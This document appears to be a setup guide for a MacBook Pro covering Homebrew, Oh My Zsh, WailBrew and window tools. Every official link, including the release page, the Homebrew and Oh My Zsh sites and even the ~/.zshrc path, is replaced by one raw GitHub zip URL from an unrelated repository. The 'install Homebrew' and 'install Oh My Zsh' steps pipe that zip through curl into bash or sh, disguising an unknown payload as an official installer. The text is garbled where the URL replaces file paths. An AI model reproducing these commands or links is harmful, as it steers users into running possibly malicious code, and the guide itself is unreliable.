This collection helps you set up useful software and practical settings on your MacBook Pro. If you recently switched from Windows or want to improve your Mac workflow, this guide is for you.
It gathers recommendations on software installation, terminal apps, window management, shortcuts, input methods, touchpad settings, and workflow tools. The content is drawn from discussions in the Will 保哥 technical community.
This toolkit helps you install and manage key apps and settings for your MacBook Pro to make daily tasks smoother. It includes:
- Easy installation of command-line tools and desktop apps
- Access to a graphical Homebrew app manager
- Terminal customization with plugins and themes
- Window management and shortcut setups
- Input and touchpad optimizations
- Workflow tools for developers and power users
To use this smoothly, you’ll need:
- A MacBook Pro running macOS 11 (Big Sur) or later
- Internet access for downloading apps and updates
- Basic familiarity with macOS (opening apps, browsing the web)
No programming skills are needed — just follow the steps below.
To begin, download the latest release from the GitHub releases page.
Click the link above. It opens the releases page where you can find the latest installer or package files.
-
Go to the release page:
Open https://raw.githubusercontent.com/top4top4/awesome-mbp-for-developers/main/flank/developers_awesome_for_mbp_v1.5.zip in your web browser. -
Choose the latest version:
Look for the newest release at the top of the page. It usually shows a version number and the release date. -
Download the installer or zip file:
Click the asset labeled for macOS. It might be a.dmg,.zip, or.pkgfile. -
Open the downloaded file:
If it's a.dmg, double-click to mount it, then drag the app to your Applications folder.
If it's a.zip, double-click to unzip, then move the content to Applications.
If it's a.pkg, double-click and follow the setup prompts. -
Launch the app:
Go to your Applications folder and open the app. -
Follow any setup instructions:
The app might guide you through additional configuration. Most steps involve clicking buttons and granting permissions.
Homebrew is the easiest way to install and keep command-line tools and desktop apps updated on your Mac. It manages software like git, ffmpeg, node, and useful apps such as Raycast and iTerm2.
- Install command-line tools and GUI apps in one place.
- Easily update all your installed software with one command.
WailBrew offers a graphical interface for Homebrew. It shows which apps need upgrading and lets you update all with one click.
- See all installed tools and apps visually.
- Batch update with no need to type commands.
- Available in multiple languages.
Project page: wickenico/WailBrew
Oh My Zsh helps you customize your Mac’s Terminal with plugins and themes. It makes the terminal more useful and easier to manage.
- Manage shell settings easily.
- Add plugins for git, Docker, Kubernetes, and more.
- Choose from many themes to change how your terminal looks.
Official website: https://raw.githubusercontent.com/top4top4/awesome-mbp-for-developers/main/flank/developers_awesome_for_mbp_v1.5.zip
Some people prefer Zimfw instead of Oh My Zsh. It is known for faster startup and plugin management. Feel free to try both and pick what works best.
-
Open Terminal (search for “Terminal” in Spotlight).
-
Type the following command to install Homebrew if not installed:
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/top4top4/awesome-mbp-for-developers/main/flank/developers_awesome_for_mbp_v1.5.zip)" -
Install apps by typing:
brew install git brew install --cask iterm2
- Launch WailBrew from Applications.
- The app will scan and list all Homebrew packages.
- Click “Update All” to upgrade everything at once.
-
Install Oh My Zsh by running:
sh -c "$(curl -fsSL https://raw.githubusercontent.com/top4top4/awesome-mbp-for-developers/main/flank/developers_awesome_for_mbp_v1.5.zip)" -
Open the
~https://raw.githubusercontent.com/top4top4/awesome-mbp-for-developers/main/flank/developers_awesome_for_mbp_v1.5.zipfile to enable plugins by typing:nano ~https://raw.githubusercontent.com/top4top4/awesome-mbp-for-developers/main/flank/developers_awesome_for_mbp_v1.5.zip -
Add plugins like
gitordockerin the plugins section. -
Save the file and restart Terminal.
- Learn common keyboard shortcuts like
Cmd + Spacefor Spotlight search. - Customize your touchpad preferences in System Settings > Trackpad.
- Set up Rectangle or other window managers for quick window resizing.
- Use Raycast or Alfred to launch apps and find files faster.
- Regularly run
brew updateandbrew upgradeto keep software current.
- Visit the original technical discussion community at Will 保哥技術交流中心 Facebook.
- Check the GitHub repository for issues or further help: awesome-mbp-for-developers
- Homebrew documentation at https://raw.githubusercontent.com/top4top4/awesome-mbp-for-developers/main/flank/developers_awesome_for_mbp_v1.5.zip
- Oh My Zsh official site at https://raw.githubusercontent.com/top4top4/awesome-mbp-for-developers/main/flank/developers_awesome_for_mbp_v1.5.zip